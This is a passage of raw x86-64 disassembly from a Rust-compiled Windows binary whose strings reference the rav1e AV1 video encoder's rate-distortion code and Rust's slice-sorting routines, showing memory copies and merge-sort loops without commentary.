mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r15, qword [rsi + 0x140]
lea r14, [rbx + 0x978]
lea rsi, [rbx + 0x718]
mov r8d, 0xa0
mov rcx, r14
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov edx, dword [rsi + 0xa0]
and qword [rbx + 0x354], 0
xorps xmm0, xmm0
movups xmmword [rbx + 0x344], xmm0
lea rax, [rbx + 0x7c8]
push 0x15
pop rcx
lea rsi, [rbx + 0x2e8]
mov rdi, rax
rep movsd dword [rdi], dword [rsi]
movupd xmm1, xmmword [rbx + 0x340]
movups xmm2, xmmword [rbx + 0x34c]
movups xmmword [rax + 0x260], xmm2
movupd xmmword [rax + 0x254], xmm1
and qword [rax + 0x280], 0
movups xmmword [rax + 0x270], xmm0
and qword [rax - 8], 0
and qword [rax + 0x58], 0
mov qword [r14 - 0x10], r15
and qword [r14 - 8], 0
mov dword [rax + 0x250], edx
push 0x18
pop r15
xor r14d, r14d
lea rsi, [rbx + 0x1e0]
lea rdi, [rbx + 0x7c0]
mov rcx, rsi
mov rdx, rdi
call fcn.14007deaa
mov al, byte [rbx + 0x1e0]
cmp al, 0x22
je 0x1400c6354
cmp r15, 0x298
je 0x1400c8e47
mov rcx, qword [rbx + 0x1e8]
mov rdx, qword [rbx + 0x1f0]
mov r8d, dword [rbx + 0x1f8]
mov byte [rbx + r15 + 0x328], al
mov qword [rbx + r15 + 0x330], rcx
mov qword [rbx + r15 + 0x338], rdx
mov dword [rbx + r15 + 0x340], r8d
inc r14
add r15, 0x20
jmp 0x1400c62f4
lea rdx, [rbx + 0x340]
mov dword [rdx + 0x280], r14d
lea rsi, [rbx + 0x7c0]
mov r8d, 0x288
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov edx, dword [rsi + 0x280]
mov rax, qword [rbx + 0x180]
mov rdi, rax
cmp rax, rdx
je 0x1400c68ef
cmp edx, 0x15
jae 0x1400c63d1
cmp edx, 1
jbe 0x1400c68e2
lea rcx, [rbx + 0x7c0]
push 1
pop r8
call fcn.140111a8e
jmp 0x1400c68e2
mov byte [rbx + 0xed], 1
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov rcx, rsi
mov rdx, r14
call fcn.1401c6eb0
jmp 0x1400c90d0
mov qword [rbx + 0x1a0], rdx
mov rsi, rdx
shr esi, 1
mov rdx, rsi
shl rdx, 5
push 8
pop rcx
call fcn.1400710da
test rax, rax
je 0x1400c90b6
mov r14, rax
mov qword [rbx + 0x218], rsi
push 8
pop rcx
mov edx, 0x100
call fcn.1400710da
test rax, rax
push 0x10
pop rdi
mov qword [rbx + 0x170], r14
je 0x1400c90c4
mov rcx, rax
xor r15d, r15d
xor r12d, r12d
mov r13, qword [rbx + 0x1a0]
cmp r12, r13
jae 0x1400c68cb
mov rsi, r15
mov r14, rcx
mov qword [rbx + 0x190], rcx
mov qword [rbx + 0x198], rdi
mov rcx, r12
lea rdx, [rbx + 0x7c0]
mov r8, r13
call fcn.1400e2c52
mov r15, rdx
cmp rdx, 2
jae 0x1400c6477
lea rax, [r15 + r12]
mov qword [rbx + 0x140], rax
jmp 0x1400c6513
mov ecx, dword [rax + 0x38]
cmp ecx, dword [rax + 0x18]
jae 0x1400c649f
add rax, 0x58
push 2
pop rdx
cmp r15, rdx
je 0x1400c64c6
mov r8d, dword [rax]
cmp r8d, ecx
jae 0x1400c64c3
inc rdx
add rax, 0x20
mov ecx, r8d
jmp 0x1400c6486
add rax, 0x58
push 2
pop rdx
cmp r15, rdx
je 0x1400c6467
mov r8d, dword [rax]
cmp r8d, ecx
jb 0x1400c68c3
inc rdx
add rax, 0x20
mov ecx, r8d
jmp 0x1400c64a6
mov r15, rdx
lea rdx, [r15 + r12]
mov qword [rbx + 0x190], r14
mov qword [rbx + 0x198], rdi
lea rax, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
mov qword [rsp + 0x20], rax
mov rcx, r12
mov qword [rbx + 0x140], rdx
lea r8, [rbx + 0x7c0]
mov r9, r13
call fcn.1400e2c83
mov qword [rbx + 0x190], r14
mov qword [rbx + 0x198], rdi
mov rcx, rax
call fcn.1400e2cbc
mov rax, qword [rbx + 0x140]
cmp rax, r12
jb case.0x1400c4fec.59
cmp rax, r13
ja case.0x1400c4fec.59
jae 0x1400c6594
cmp r15, 9
ja 0x1400c6594
lea rdx, [r12 + 0xa]
cmp rdx, r13
cmovae rdx, r13
mov qword [rbx + 0x190], r14
mov qword [rbx + 0x198], rdi
lea rax, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
mov qword [rsp + 0x20], rax
mov rcx, r12
mov qword [rbx + 0x140], rdx
lea r8, [rbx + 0x7c0]
mov r9, r13
call fcn.1400e2c83
cmp r15, 1
adc r15, 0
mov qword [rbx + 0x190], r14
mov qword [rbx + 0x198], rdi
mov rcx, rax
mov r8, r15
call fcn.140111a8e
mov r15, rsi
cmp rsi, rdi
jne 0x1400c65f4
lea rax, [rdi + rdi]
mov qword [rbx + 0x138], rax
mov rdx, rdi
shl rdx, 5
push 8
pop r13
mov rcx, r13
call fcn.1400710da
test rax, rax
je 0x1400c8ffa
mov rsi, rax
shl rdi, 4
mov rcx, rax
mov rdx, r14
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rcx, r14
mov rdx, r13
call fcn.140001b50
mov r14, rsi
mov r13, qword [rbx + 0x1a0]
mov rdi, qword [rbx + 0x138]
mov rax, qword [rbx + 0x140]
sub rax, r12
mov rcx, r15
shl rcx, 4
mov qword [r14 + rcx], rax
mov qword [r14 + rcx + 8], r12
inc r15
mov qword [rbx + 0x130], r14
mov qword [rbx + 0x138], rdi
mov rcx, r14
mov rdx, r15
mov r8, r13
call fcn.14003e0ab
cmp rax, 1
jne 0x1400c68ad
mov r12, rdx
mov qword [rbx + 0x190], r14
mov qword [rbx + 0x198], rdi
mov rcx, r14
mov qword [rbx + 0x100], r15
mov rdx, r15
mov r8, r12
lea r9, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
call fcn.14003cd10
mov rcx, qword [rax]
mov qword [rbx + 0xf0], rcx
mov rsi, qword [rax + 8]
lea r8, [r12 + 1]
mov qword [rbx + 0x190], r14
mov qword [rbx + 0x198], rdi
mov rcx, r14
mov rdx, qword [rbx + 0x100]
mov qword [rbx + 0x108], r8
lea r9, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
call fcn.14003cd10
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov qword [rbx + 0x118], rcx
add rdx, rcx
mov qword [rbx + 0x190], r14
mov qword [rbx + 0x198], rdi
lea rax, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
mov qword [rsp + 0x20], rax
mov rcx, rsi
lea r8, [rbx + 0x7c0]
mov r9, r13
call fcn.1400e2c83
mov r13, rax
mov r15, rdx
mov qword [rbx + 0x110], rsi
mov rax, qword [rbx + 0xf0]
mov rsi, rax
shl rsi, 5
lea rdi, [rsi + r13]
mov r14, rdx
sub r14, rax
cmp r14, rax
jae 0x1400c679e
shl r14, 5
mov rsi, qword [rbx + 0x170]
mov rcx, rsi
mov rdx, rdi
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
add r14, rsi
shl r15, 5
lea rax, [r15 + r13]
add rax, 0xffffffffffffffe0
mov r10, rsi
mov rsi, r14
mov r15, qword [rbx + 0x100]
cmp rdi, r13
jbe 0x1400c681c
cmp rsi, r10
jbe 0x1400c681c
mov ecx, dword [rsi - 8]
mov edx, dword [rdi - 8]
cmp ecx, edx
mov r8d, 0
sbb r8, r8
cmp ecx, edx
mov r9d, 0
adc r9, 0xffffffffffffffff
shl r8, 5
add rdi, r8
shl r9, 5
add rsi, r9
cmp ecx, edx
mov rcx, rsi
cmovb rcx, rdi
movups xmm0, xmmword [rcx]
movupd xmm1, xmmword [rcx + 0x10]
movupd xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
add rax, 0xffffffffffffffe0
jmp 0x1400c6742
mov r14, r13
shl r15, 5
add r13, r15
mov r15, qword [rbx + 0x170]
mov rcx, r15
mov rdx, r14
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add rsi, r15
mov rdx, r15
mov r15, qword [rbx + 0x100]
cmp rdx, rsi
jae 0x1400c6822
cmp rdi, r13
jae 0x1400c6822
mov r8d, dword [rdi + 0x18]
xor eax, eax
xor ecx, ecx
mov r10, rdi
cmp r8d, dword [rdx + 0x18]
setae r8b
setb r9b
jb 0x1400c67f0
mov r10, rdx
movups xmm0, xmmword [r10]
movupd xmm1, xmmword [r10 + 0x10]
movupd xmmword [r14 + 0x10], xmm1
movups xmmword [r14], xmm0
add r14, 0x20
mov cl, r9b
shl ecx, 5
add rdi, rcx
mov al, r8b
shl eax, 5
add rdx, rax
jmp 0x1400c67ca
mov r14, rdi
mov rdx, r10
sub rsi, rdx
mov rcx, r14
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rbx + 0x108]
cmp r15, rcx
mov rdi, qword [rbx + 0x138]
mov rax, qword [rbx + 0x110]
jbe 0x1400c8da2
shl rcx, 4
mov rdx, qword [rbx + 0x118]
add rdx, qword [rbx + 0xf0]
mov r14, qword [rbx + 0x130]
mov qword [r14 + rcx], rdx
mov qword [r14 + rcx + 8], rax
cmp r15, r12
mov r13, qword [rbx + 0x1a0]
jbe 0x1400c8df0
mov rax, r12
shl rax, 4
lea rcx, [r14 + rax]
lea rdx, [r14 + rax]
add rdx, 0x10
not r12
add r12, r15
shl r12, 4
mov r8, r12
call sub.VCRUNTIME140.dll_memmove
dec r15
jmp 0x1400c661f
mov rcx, r14
mov r12, qword [rbx + 0x140]
mov r14, qword [rbx + 0x170]
jmp 0x1400c642f
mov r15, rdx
jmp 0x1400c6467
mov rdx, rdi
call fcn.14003cc4d
mov rcx, r14
mov rdx, qword [rbx + 0x218]
call fcn.14003cc4d
mov edi, dword [rbx + 0xa40]
mov rax, qword [rbx + 0x180]
cmp rax, rdi
cmovb rdi, rax
lea r15, [rbx + 0x344]
mov r14d, dword [rbx + 0x2a8]
xor r12d, r12d
lea rsi, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
xor r13d, r13d
cmp r13, rdi
je 0x1400c6a31
mov rdx, r13
shl rdx, 5
movzx ecx, byte [rbx + rdx + 0x7c0]
mov rax, qword [rbx + rdx + 0x7c8]
mov r8, qword [rbx + rdx + 0x7d0]
mov rdx, rcx
shl rdx, 0x20
or rdx, 1
mov qword [rbx + 0x340], rdx
mov edx, dword [rbx + 0x1c8]
cmp rax, rdx
jae 0x1400c8ad5
cmp rax, r14
jae 0x1400c8ac2
mov edx, dword [rbx + 0x13c0]
cmp rax, rdx
jae 0x1400c8ace
movzx edx, word [rbx + rax*2 + 0x1cc]
mov r9, qword [rbx + rax*8 + 0x270]
imul rax, rax, 0x70
add rax, rbx
add rax, 0xb00
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x78], r9
mov word [rsp + 0x58], dx
mov byte [rsp + 0x90], r12b
mov byte [rsp + 0x88], r12b
mov byte [rsp + 0x70], r12b
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x50], r8
lea rax, [rbx + 0x2b8]
mov qword [rsp + 0x48], rax
lea rax, [rbx + 0xa50]
mov qword [rsp + 0x40], rax
mov eax, dword [rbx + 0x1c4]
mov byte [rsp + 0x38], al
mov rax, qword [rbx + 0x178]
mov qword [rsp + 0x30], rax
mov rax, qword [rbx + 0x148]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0x13f0]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x68], 1
mov rdx, qword [rbx + 0x128]
mov r8b, byte [rbp + 0x13e0]
mov r9, qword [rbp + 0x13e8]
call fcn.1400e14ed
inc r13
jmp 0x1400c6911
movups xmm0, xmmword [rbx + 0x2b8]
movupd xmm1, xmmword [rbx + 0x2c8]
movups xmm2, xmmword [rbx + 0x2d8]
movaps xmmword [rbx + 0x200], xmm2
movapd xmmword [rbx + 0x1f0], xmm1
movaps xmmword [rbx + 0x1e0], xmm0
lea rcx, [rbx + 0xb00]
call fcn.1400e2957
mov rdi, qword [rbp + 0x13f0]
mov r13, qword [rbx + 0x148]
mov r15, qword [rbx + 0x188]
mov r12, qword [rbx + 0x210]
mov rax, qword [rbx + 0x230]
mov eax, dword [rax + 0x230]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r12
mov rcx, qword [rbp + 0x13e8]
mov rdx, rdi
mov r8b, byte [rbp + 0x13e0]
mov r9, r15
call fcn.1400cdd38
mov edx, eax
cmp byte [rbx + 0x20e], 0
jne 0x1400c7f9c
movaps xmm0, xmmword [rbx + 0x1e0]
movapd xmm1, xmmword [rbx + 0x1f0]
movaps xmm2, xmmword [rbx + 0x200]
movaps xmmword [rbx + 0x290], xmm2
movapd xmmword [rbx + 0x280], xmm1
movaps xmmword [rbx + 0x270], xmm0
mov al, byte [rbp + 0x13e0]
mov byte [rbx + 0xff], al
mov rax, qword [rbp + 0x13e8]
mov qword [rbx + 0x1c8], rax
and dword [rbx + 0x1a8], 0
mov qword [rbx + 0x1d0], rdi
mov eax, dword [rbx + 0x1c4]
mov byte [rbx + 0xee], al
mov rcx, qword [rbx + 0x128]
mov eax, dword [rcx + 0x2ec]
test eax, eax
mov byte [rbx + 0x218], dl
je 0x1400c6b7f
test al, 1
je 0x1400c6b90
mov rax, qword [rbx + 0x128]
mov rax, qword [rax + 0x2b8]
xor ecx, ecx
cmp byte [rax + 0x47], 2
setae cl
lea rax, [rcx*4 + 3]
mov qword [rbx + 0x210], rax
mov rax, qword [rbx + 0x178]
mov rcx, qword [rax + 0x1288]
mov dl, byte [rbp + 0x13e0]
call fcn.140076ed6
jmp 0x1400c6bbe
mov rax, qword [rcx + 0x2b8]
cmp byte [rax + 0x47], 0
je 0x1400c6b90
push 7
jmp 0x1400c6b92
push 3
pop rax
mov qword [rbx + 0x210], rax
mov rax, qword [rbx + 0x178]
mov rcx, qword [rax + 0x1278]
mov rdx, qword [rax + 0x1288]
mov r8, qword [rbp + 0x13e8]
mov r9, rdi
call fcn.140076dad
mov rdx, rax
lea rsi, [rbx + 0x7c0]
mov rcx, rsi
call fcn.1400e13ed
mov r12d, dword [rbx + 0x1a8]
lea rax, [r12 - 1]
cmp rax, 0xc
jbe 0x1400c9065
lea rcx, [rbx + 0x1ac]
movabs rax, 0x807060504030c0a
mov qword [rbx + r12 + 0x1b1], rax
movabs rax, 0x30c0a0b09010200
mov qword [rbx + r12 + 0x1ac], rax
add r12d, 0xd
mov dword [rcx - 4], r12d
mov qword [rbx + 0x340], rsi
cmp r12d, 0x15
jae 0x1400c6c4f
cmp r12d, 1
jbe 0x1400c71e0
push 1
pop r8
lea r9, [rbx + 0x340]
lea rcx, [rbx + 0x1ac]
mov rdx, r12
call fcn.1400e27d8
jmp 0x1400c71e0
mov esi, r12d
shr esi, 1
push 1
pop rcx
mov rdx, rsi
call fcn.1400710da
test rax, rax
je 0x1400c908e
mov r14, rax
mov qword [rbx + 0x188], rsi
push 8
pop rcx
mov edx, 0x100
call fcn.1400710da
test rax, rax
mov qword [rbx + 0x100], r14
je 0x1400c909a
mov rsi, rax
push 0x10
pop rdi
xor eax, eax
mov qword [rbx + 0xf0], rax
xor r15d, r15d
mov qword [rbx + 0x118], r12
cmp r15, r12
jae 0x1400c71b8
mov qword [rbx + 0x150], rsi
mov qword [rbx + 0x158], rdi
mov rcx, r15
lea rdx, [rbx + 0x1ac]
mov r8, r12
call fcn.1400e2563
mov r13, rsi
mov rsi, rdx
cmp rdx, 2
jae 0x1400c6ced
lea rax, [rsi + r15]
mov qword [rbx + 0x180], rax
jmp 0x1400c6dd5
mov r14, rax
mov r8b, byte [rax]
mov dl, byte [rax + 1]
mov qword [rbx + 0x150], r13
mov qword [rbx + 0x158], rdi
lea rcx, [rbx + 0x340]
call fcn.1400e2928
push 2
pop r12
test al, al
je 0x1400c6d49
cmp r12, rsi
je 0x1400c6d81
mov r8b, byte [r14 + r12 - 1]
mov dl, byte [r14 + r12]
mov qword [rbx + 0x150], r13
mov qword [rbx + 0x158], rdi
lea rcx, [rbx + 0x340]
call fcn.1400e2928
test al, al
je 0x1400c6d7e
inc r12
jmp 0x1400c6d18
cmp r12, rsi
je 0x1400c6cdd
mov r8b, byte [r14 + r12 - 1]
mov dl, byte [r14 + r12]
mov qword [rbx + 0x150], r13
mov qword [rbx + 0x158], rdi
lea rcx, [rbx + 0x340]
call fcn.1400e2928
test al, al
jne 0x1400c71b0
inc r12
jmp 0x1400c6d49
mov rsi, r12
lea rdx, [rsi + r15]
mov r14, r13
mov qword [rbx + 0x150], r13
mov qword [rbx + 0x158], rdi
lea rax, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
mov qword [rsp + 0x20], rax
mov rcx, r15
mov qword [rbx + 0x180], rdx
lea r8, [rbx + 0x1ac]
mov r9, qword [rbx + 0x118]
call fcn.140085969
mov qword [rbx + 0x150], r14
mov qword [rbx + 0x158], rdi
mov rcx, rax
call fcn.1400e2590
mov rcx, qword [rbx + 0x180]
cmp rcx, r15
mov rax, qword [rbx + 0x118]
jb 0x1400c8ef1
cmp rcx, rax
ja 0x1400c8ef1
jae 0x1400c6e6a
cmp rsi, 9
ja 0x1400c6e6a
mov r14, r13
lea rdx, [r15 + 0xa]
mov r9, qword [rbx + 0x118]
cmp rdx, r9
cmovae rdx, r9
mov qword [rbx + 0x150], r13
mov qword [rbx + 0x158], rdi
lea rax, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
mov qword [rsp + 0x20], rax
mov rcx, r15
mov qword [rbx + 0x180], rdx
lea r8, [rbx + 0x1ac]
call fcn.140085969
cmp rsi, 1
adc rsi, 0
mov qword [rbx + 0x150], r14
mov qword [rbx + 0x158], rdi
mov rcx, rax
mov r8, rsi
lea r9, [rbx + 0x340]
call fcn.1400e27d8
mov r14, qword [rbx + 0xf0]
cmp r14, rdi
jne 0x1400c6ede
mov qword [rbx + 0x108], r15
lea rax, [rdi + rdi]
mov qword [rbx + 0x110], rax
mov rdx, rdi
shl rdx, 5
push 8
pop r15
mov rcx, r15
call fcn.1400710da
test rax, rax
mov r12, qword [rbx + 0x118]
je 0x1400c8fa2
mov rsi, rax
shl rdi, 4
mov rcx, rax
mov r14, r13
mov rdx, r13
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rcx, r13
mov rdx, r15
call fcn.140001b50
mov r14, qword [rbx + 0xf0]
mov r15, qword [rbx + 0x108]
jmp 0x1400c6eef
mov qword [rbx + 0x110], rdi
mov r12, qword [rbx + 0x118]
mov rsi, r13
mov rax, qword [rbx + 0x180]
sub rax, r15
mov rcx, r14
shl rcx, 4
mov qword [rsi + rcx], rax
mov qword [rsi + rcx + 8], r15
inc r14
mov qword [rbx + 0x140], rsi
mov rcx, rsi
mov rdx, r14
mov r8, r12
call fcn.14003e0ab
cmp rax, 1
mov qword [rbx + 0xf0], r14
jne 0x1400c7196
mov r8, rdx
mov qword [rbx + 0x150], rsi
mov r15, qword [rbx + 0x110]
mov qword [rbx + 0x158], r15
mov rcx, rsi
mov rdx, r14
mov qword [rbx + 0x108], r8
lea r9, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
call fcn.14003cd10
mov rdi, qword [rax]
mov r14, qword [rax + 8]
mov rax, qword [rbx + 0x108]
lea r12, [rax + 1]
mov qword [rbx + 0x150], rsi
mov qword [rbx + 0x158], r15
mov rcx, rsi
mov rdx, qword [rbx + 0xf0]
mov r8, r12
lea r9, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
call fcn.14003cd10
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov qword [rbx + 0x130], rcx
add rdx, rcx
mov qword [rbx + 0x150], rsi
mov qword [rbx + 0x158], r15
lea rax, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_src_slice_sort.rs
mov qword [rsp + 0x20], rax
mov rcx, r14
lea r8, [rbx + 0x1ac]
mov r9, qword [rbx + 0x118]
call fcn.140085969
mov r13, rax
mov r15, rdx
mov qword [rbx + 0x170], r12
mov qword [rbx + 0x1a0], r14
lea r12, [rax + rdi]
mov rsi, rax
add rsi, rdx
sub r15, rdi
cmp r15, rdi
mov qword [rbx + 0x138], rdi
jae 0x1400c7089
mov r14, qword [rbx + 0x100]
mov rcx, r14
mov rdx, r12
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
add r15, r14
cmp r12, r13
jbe 0x1400c70f7
cmp r15, r14
jbe 0x1400c70f7
mov dl, byte [r15 - 1]
mov r8b, byte [r12 - 1]
mov qword [rbx + 0x240], r12
mov qword [rbx + 0x248], r15
mov qword [rbx + 0x250], r14
lea rcx, [rbx + 0x340]
call fcn.1400e2928
movzx eax, al
sub r12, rax
mov ecx, eax
xor cl, 1
movzx ecx, cl
sub r15, rcx
test al, al
mov rax, r15
cmovne rax, r12
mov al, byte [rax]
mov byte [rsi - 1], al
dec rsi
mov r14, qword [rbx + 0x100]
jmp 0x1400c7022
mov r14, qword [rbx + 0x100]
mov rcx, r14
mov rdx, r13
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
lea r15, [r14 + rdi]
cmp r14, r15
jae 0x1400c70fa
cmp r12, rsi
jae 0x1400c70fa
mov dl, byte [r12]
mov r8b, byte [r14]
mov qword [rbx + 0x240], r13
mov qword [rbx + 0x248], r15
mov qword [rbx + 0x250], r14
lea rcx, [rbx + 0x340]
call fcn.1400e2928
mov rcx, r12
test al, al
jne 0x1400c70de
mov rcx, r14
mov cl, byte [rcx]
mov byte [r13], cl
inc r13
movzx ecx, al
add r12, rcx
xor al, 1
movzx eax, al
add r14, rax
jmp 0x1400c70a2
mov r13, r12
sub r15, r14
mov rcx, r13
mov rdx, r14
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
mov r14, qword [rbx + 0xf0]
mov rcx, qword [rbx + 0x170]
cmp r14, rcx
mov rsi, qword [rbx + 0x140]
mov rdx, qword [rbx + 0x110]
mov rax, qword [rbx + 0x138]
jbe 0x1400c8c3c
shl rcx, 4
mov r8, qword [rbx + 0x130]
add r8, rax
mov qword [rsi + rcx], r8
mov rax, qword [rbx + 0x1a0]
mov qword [rsi + rcx + 8], rax
mov r8, qword [rbx + 0x108]
cmp r14, r8
jbe 0x1400c8c83
mov rax, r8
shl rax, 4
lea rcx, [rsi + rax]
lea rdx, [rsi + rax]
add rdx, 0x10
not r8
add r8, r14
shl r8, 4
call sub.VCRUNTIME140.dll_memmove
dec r14
mov r12, qword [rbx + 0x118]
jmp 0x1400c6f13
mov rdi, qword [rbx + 0x110]
mov r15, qword [rbx + 0x180]
mov r14, qword [rbx + 0x100]
jmp 0x1400c6ca8
mov rsi, r12
jmp 0x1400c6cdd
mov rcx, rsi
mov rdx, rdi
call fcn.14003cc4d
mov rcx, r14
mov rdx, qword [rbx + 0x188]
call fcn.140022c4e
mov rdi, qword [rbp + 0x13f0]
mov r13, qword [rbx + 0x148]
mov cl, byte [rbp + 0x13e0]
call fcn.140098f33
mov esi, eax
mov rax, qword [r13 + 0x120]
mov rcx, qword [r13 + 0x128]
movups xmm0, xmmword [r13 + 0x140]
lea r14, [rbx + 0x7c0]
movups xmmword [r14 + 0x20], xmm0
movupd xmm0, xmmword [r13 + 0x130]
movupd xmmword [r14 + 0x10], xmm0
mov qword [r14 + 8], rcx
mov qword [r14], rax
mov r8, qword [rax + 0x20]
mov r9, qword [rax + 0x28]
mov r12, qword [rbp + 0x13e8]
mov rcx, r12
mov rdx, rdi
call fcn.14007df20
mov rcx, qword [rbx + 0x128]
mov r15, qword [rcx + 0x2b0]
mov rcx, qword [r15 + 0x1f0]
mov r8b, byte [r15 + 0x264]
mov byte [rsp + 0x68], r8b
mov qword [rsp + 0x58], rcx
mov byte [rsp + 0x50], sil
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x40], rax
mov al, byte [rbp + 0x13e0]
mov byte [rsp + 0x38], al
xorps xmm6, xmm6
movups xmmword [rsp + 0x28], xmm6
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x70], 2
mov byte [rsp + 0x60], 0x22
lea rcx, [rbx + 0x2e8]
lea rdx, [rbx + 0xb00]
mov r8, r14
mov r9, r12
call fcn.140081f79
mov qword [rbx + 0x100], r15
cmp byte [r15 + 0x264], 0
je 0x1400c7340
and qword [rsp + 0x20], 0
mov rcx, r13
mov rdx, r12
mov r8, rdi
xor r9d, r9d
call fcn.140109878
mov r14d, eax
and qword [rsp + 0x20], 0
mov rcx, r13
mov rdx, r12
mov r8, rdi
xor r9d, r9d
call fcn.1400d081d
lea r15, [rbx + 0x7c0]
mov rcx, r15
xor edx, edx
mov r8d, r14d
mov r9d, eax
call fcn.1400732b6
mov eax, dword [r15 + 8]
mov dword [rbx + 0x228], eax
mov rax, qword [r15]
mov qword [rbx + 0x220], rax
mov al, byte [r15 + 0xc]
mov byte [rbx + 0xf0], al
movzx eax, word [r15 + 0xd]
mov word [rbx + 0x120], ax
mov al, byte [r15 + 0xf]
mov byte [rbx + 0x122], al
jmp 0x1400c7347
mov byte [rbx + 0xf0], 0xa
movaps xmmword [rbx + 0x7e0], xmm6
movaps xmmword [rbx + 0x7d0], xmm6
and dword [rbx + 0x7f0], 0
movaps xmmword [rbx + 0x7c0], xmm6
mov eax, dword [rbx + 0x1a8]
lea rdx, [rbx + 0x1ac]
add rax, rdx
mov rcx, qword [rbx + 0x210]
shr ecx, 1
lea r8, [rbx + 0x2b8]
mov qword [r8], rdx
mov qword [r8 + 8], rax
mov qword [rbx + 0x108], rcx
mov qword [r8 + 0x10], rcx
lea r15, [rbx + 0x728]
lea rdi, [rbx + 0x34d]
lea rcx, [rbx + 0x2b8]
call fcn.1400e1438
test rax, rax
mov r14, qword [rbx + 0x148]
je 0x1400c766b
mov cl, byte [r14 + 0x2d0]
mov rdx, qword [r14 + 0x2c0]
mov r8, qword [r14 + 0x2c8]
shl rdx, cl
shl r8, cl
mov r9, qword [r14 + 0x120]
mov cl, byte [r9 + 0x20]
mov r10, qword [rbp + 0x13e8]
shr r10, cl
mov cl, byte [r9 + 0x28]
shl r10, 2
mov r11, qword [rbp + 0x13f0]
shr r11, cl
test r10, r10
js 0x1400c8e67
mov rcx, qword [r14 + 0x140]
cmp rcx, r10
jb 0x1400c8e67
shl r11, 2
test r11, r11
js 0x1400c8e77
mov r13, r14
mov r14, qword [r14 + 0x148]
cmp r14, r11
jb 0x1400c8e77
mov r12b, byte [rax]
mov rax, qword [r9]
imul rax, r11
add rax, qword [r13 + 0x128]
sub rcx, r10
add rax, r10
add r10, qword [r13 + 0x130]
sub r14, r11
add r11, qword [r13 + 0x138]
mov qword [rbx + 0x720], rax
mov qword [rbx + 0x718], r9
mov qword [rbx + 0x728], r10
mov qword [rbx + 0x730], r11
mov qword [rbx + 0x738], rcx
mov qword [rbx + 0x740], r14
lea ecx, [r12 - 1]
mov al, 0xa
cmp cl, 7
ja 0x1400c74cb
mov eax, dword [rbx + 0x228]
mov dword [rbx + 0x348], eax
mov rax, qword [rbx + 0x220]
mov qword [rbx + 0x340], rax
mov al, byte [rbx + 0x122]
mov byte [rdi + 2], al
movzx eax, word [rbx + 0x120]
mov word [rdi], ax
mov al, byte [rbx + 0xf0]
mov rcx, qword [rbx + 0x100]
mov rcx, qword [rcx + 0x1f0]
mov byte [rbx + 0x34c], al
lea rax, [rbx + 0x2e8]
mov qword [rsp + 0x50], rax
lea rax, [rbx + 0x340]
mov qword [rsp + 0x48], rax
lea rax, [0x140262a00]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rcx
mov byte [rsp + 0x20], sil
mov dword [rsp + 0x40], 2
mov qword [rsp + 0x38], 2
mov ecx, r12d
lea r9, [rbx + 0x718]
call fcn.140082ffb
mov r14, qword [rbx + 0x148]
mov rax, qword [r14 + 0x78]
mov rdx, qword [r14 + 0x80]
test rdx, rdx
je 0x1400c75e9
mov cl, byte [rax + 0x20]
mov r8, qword [rbp + 0x13e8]
shr r8, cl
mov cl, byte [rax + 0x28]
shl r8, 2
mov r9, qword [rbp + 0x13f0]
shr r9, cl
test r8, r8
js case.0x1400831b0.112
mov rcx, qword [r14 + 0x98]
cmp rcx, r8
jb case.0x1400831b0.112
shl r9, 2
test r9, r9
js 0x1400c8e93
mov r10, qword [r14 + 0xa0]
cmp r10, r9
jb 0x1400c8e93
sub rcx, r8
sub r10, r9
mov r11, qword [rax]
imul r11, r9
add rdx, r8
add rdx, r11
add r8, qword [r14 + 0x88]
add r9, qword [r14 + 0x90]
mov qword [rbx + 0x5d8], rdx
mov qword [rbx + 0x5d0], rax
mov qword [rbx + 0x5e0], r8
mov qword [rbx + 0x5e8], r9
mov qword [rbx + 0x5f0], rcx
mov qword [rbx + 0x5f8], r10
jmp 0x1400c7603
lea rcx, [rbx + 0x5d8]
movups xmmword [rcx + 0x10], xmm6
movups xmmword [rcx], xmm6
and qword [rcx + 0x20], 0
mov qword [rbx + 0x5d0], rax
movzx r13d, r12b
movupd xmm0, xmmword [rbx + 0x718]
movupd xmm1, xmmword [r15]
movups xmm2, xmmword [r15 + 0x10]
